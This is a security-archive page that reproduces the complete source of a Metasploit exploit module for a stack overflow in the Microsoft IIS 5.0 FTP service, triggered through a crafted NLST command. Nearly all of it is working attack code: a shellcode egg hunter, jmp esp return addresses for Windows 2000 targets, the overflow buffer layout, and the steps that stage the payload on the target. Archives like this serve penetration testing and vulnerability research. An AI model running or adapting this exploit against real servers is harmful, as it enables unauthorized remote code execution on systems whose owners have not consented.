what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft IIS FTP Server NLST Response Overflow

Microsoft IIS FTP Server NLST Response Overflow
Posted Nov 26, 2009
Authored by H D Moore, Kingcope | Site metasploit.com

This Metasploit module exploits a stack overflow flaw in the Microsoft IIS FTP service. The flaw is triggered when a special NLST argument is passed while the session has changed into a long directory path. For this exploit to work, the FTP server must be configured to allow write access to the file system (either anonymously or in conjunction with a real account).

tags | exploit, overflow
SHA-256 | c094b78d6e147658a438663b48e4c7ba9f181fadc79f720b680f049d27cc2bbb

Microsoft IIS FTP Server NLST Response Overflow

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft IIS FTP Server NLST Response Overflow',
'Description' => %q{
This module exploits a stack overflow flaw in the Microsoft IIS FTP
service. The flaw is triggered when a special NLST argument is passed
while the session has changed into a long directory path. For this exploit
to work, the FTP server must be configured to allow write access to the
file system (either anonymously or in conjunction with a real account)

},
'Author' => [ 'Kingcope <kcope2[at]googlemail.com>', 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
['URL', 'http://milw0rm.com/exploits/9541'],
['BID', '36189'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 490,
'BadChars' => "\x00\x09\x0c\x20\x0a\x0d\x0b",
# This is for the stored payload, the real BadChar list for file paths is:
# \x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x22\x2a\x2e\x2f\x3a\x3c\x3e\x3f\x5c\x7c
'StackAdjustment' => -3500,
},
'Targets' =>
[
[
'Windows 2000 SP4 English/Italian (IIS 5.0)',
{
'Platform' => 'win',
'Ret' => 0x773d24eb, # jmp esp in activeds.dll (English / 5.0.2195.6601)
'Patch' => 0x7ffd7ffd # works for off-by-two alignment
},
],
[
'Windows 2000 SP3 English (IIS 5.0)',
{
'Platform' => 'win',
'Ret' => 0x77e42ed8, # jmp esp in user32.dll (English / 5.0.2195.7032)
'Patch' => 0x7ffd7ffd # works for off-by-two alignment
},
],
],
'DisclosureDate' => 'Aug 31 2009',
'DefaultTarget' => 0))

register_options([Opt::RPORT(21),], self.class)
end


def exploit
connect_login


based = rand_text_alpha_upper(10)

res = send_cmd( ['MKD', based ], true )
print_status(res.strip)

if (res !~ /directory created/)
print_error("The root directory of the FTP server is not writeable")
disconnect
return
end

res = send_cmd( ['CWD', based ], true )
print_status(res.strip)

egg = rand_text_alpha_upper(4)
hun = "\xB8\x55\x55\x52\x55\x35\x55\x55\x55\x55\x40\x81\x38#{egg}\x75\xF7\x40\x40\x40\x40\xFF\xE0"

# This egg hunter is necessary because of the huge set of restricted characters for directory names
# The best that metasploit could so was 133 bytes for an alphanum encoded egg hunter
# The egg hunter above was written by kcope and searches from 0x70000 forward (stack) in order
# to locate the real shellcode. The only change from the original hunter was to randomize the
# prefix used.

# Store our real shellcode on the stack
1.upto(5) do
res = send_cmd( ['SITE', egg + payload.encoded.gsub("\xff", "\xff\xff") ], true )
end

# Create the directory path that will be used in the overflow
pre = rand_text_alpha_upper(3) # esp+0x28 points here
pst = rand_text_alpha_upper(210) # limited by max path

pst[ 0, hun.length] = hun # egg hunter
pst[ 90, 4] = [target['Patch']].pack('V') # patch smashed pointers
pst[ 94, 4] = [target['Patch']].pack('V') # patch smashed pointers
pst[140, 32] = [target['Patch']].pack('V') * 8 # patch smashed pointers
pst[158, 4] = [target.ret].pack("V") # return
pst[182, 5] = "\xe9" + [-410].pack("V") # jmp back

# Escape each 0xff with another 0xff for FTP
pst = pst.gsub("\xff", "\xff\xff")

print_status("Creating long directory...")
res = send_cmd( ['MKD', pre+pst ], true )
print_status(res.strip)

srv = Rex::Socket::TcpServer.create(
'LocalHost' => '0.0.0.0',
'LocalPort' => 0,
'SSL' => false,
'Context' => {
'Msf' => framework,
'MsfExploit' => self,
}
)

begin

thr = Thread.new { srv.accept }

prt = srv.getsockname[2]
prt1 = prt / 256
prt2 = prt % 256

addr = Rex::Socket.source_address(rhost).gsub(".", ",") + ",#{prt1},#{prt2}"

res = send_cmd( ['PORT', addr ], true )
print_status(res.strip)

print_status("Trying target #{target.name}...")

res = send_cmd( ['NLST', pre+pst + "*/../" + pre + "*/"], true )
print_status(res.strip) if res

sleep(2)

handler
disconnect

ensure
thr.kill
srv.close

end
end

end
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close